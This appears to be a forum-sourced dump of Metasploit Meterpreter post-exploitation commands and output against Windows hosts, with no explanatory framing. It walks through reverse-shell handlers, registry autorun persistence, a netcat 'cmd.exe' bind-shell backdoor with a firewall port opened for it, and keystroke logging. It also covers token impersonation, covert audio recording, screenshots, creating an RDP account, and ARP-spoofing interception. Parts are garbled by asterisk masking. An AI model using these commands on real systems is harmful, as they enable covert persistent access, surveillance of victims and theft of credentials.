./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E

 run persistence -h

OPTIONS:

    -A        Automatically start a matching multi/handler to connect to the agent
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i <opt>  The interval in seconds between each connection attempt
    -p <opt>  The port on the remote host where metasploit is listening
    -r <opt>  The IP of the system running ****sploit listening for the connect back

meterpreter > run persistence -A -X -i 60 -p 4444 -r 192.168.0.69
[*] Creating a persistent agent: LHOST=192.168.0.69 LPORT=4444 (interval=60 onboot=true)[*] Persistent agent script is 731282 bytes long[*] Uploaded the persistent agent to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\fjBnpFnjnN.vbs[*] Agent executed with PID 1948[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\IeDEEiTohfs[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\IeDEEiTohfs

 meterpreter > ps
500   MSTask.exe         C:\WINNT\system32\MSTask.exe                            
    528   VMwareService.exe  C:\Program Files\VMwareVMware Tools\VMwareService.exe  
    588   WinMgmt.exe        C:\WINNT\System32\WBEMWinMgmt.exe                      
    664   notepad.exe        C:\WINNT\System32\notepad.exe                           
    724   cmd.exe            C:\WINNT\System32\cmd.exe                               
    768   Explorer.exe       C:\WINNT\Explorer.exe 
meterpreter > migrate 768[*] Migrating to 768...[*] Migration completed successfully.
meterpreter > getpid
Current pid: 768
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes..

 meterpreter > ps

Process list
============

    PID   ****                 Path
    ---   ----                 ----
    132   ctfmon.exe           C:\WINDOWS\system32\ctfmon.exe
    176   svchost.exe          C:\WINDOWS\system32\svchost.exe
    440   VMwareService.exe    C:\Program Files\VMware\VMware Tools\VMwareService.exe
    632   Explorer.EXE         C:\WINDOWS\Explorer.EXE
    796   smss.exe

  meterpreter > migrate 632
run metsvc -h[*]
OPTIONS:

    -A        Automatically start a matching multi/handler to connect to the service
    -h        This help menu
    -r        Uninstall an existing Meterpreter service (files must be deleted manually)
meterpreter > run metsvc[*] Creating a meterpreter service on port 31337[*] Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh...[*]  >> Uploading metsrv.dll...[*]  >> Uploading metsvc-server.exe...[*]  >> Uploading metsvc.exe...[*] Starting the service...[*]      * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

meterpreter >

 
use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
set LPORT 31337
set RHOST 192.168.1.104
RHOST => 192.168.1.104
show options
exploit[*] Starting the payload handler...[*] Started bind handler[*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)
ps
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server user****: NT AUTHORITY\SYSTEM
meterpreter >

  upload /tmp/nc.exe C:\\windows\\system32
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe"
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
execute -f cmd -i
C:\********s and Settings\Jim\My ********s> netsh firewall show opmode
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
netsh firewall show portopening


root@bt4:/pentest/exploits/framework3# nc -v 172.16.104.128 455

 meterpreter > use incognito
meterpreter >help
meterpreter >list_tokens -u
meterpreter >impersonate_token SNEAKS.IN\\Administrator
meterpreter > getuid
meterpreter > execute -f cmd.exe -i -t
C:\WINDOWS\system32>whoami

 meterpreter >run soundrecorder -h
meterpreter >run soundrecorder -t 10
/root/.msf3/logs/soundrecord/

 run getgui -u hax0r -p gibs0n
rdesktop -u hax0r -p gibs0n 192.168.1.3

 meterpreter > ps
meterpreter > migrate 260[*] Migrating to 260...[*] Migration completed successfully.
meterpreter > use espia
Loading extension espia...success.
meterpreter > screenshot /tmp/moo.bmp[*] Image saved to /tmp/moo.bmp

 ettercap -T -q -M arp:remote -P remote_browser -i eth0 //

 driftnet -i eth0

المصدر: :: vBspiders Professional Network ::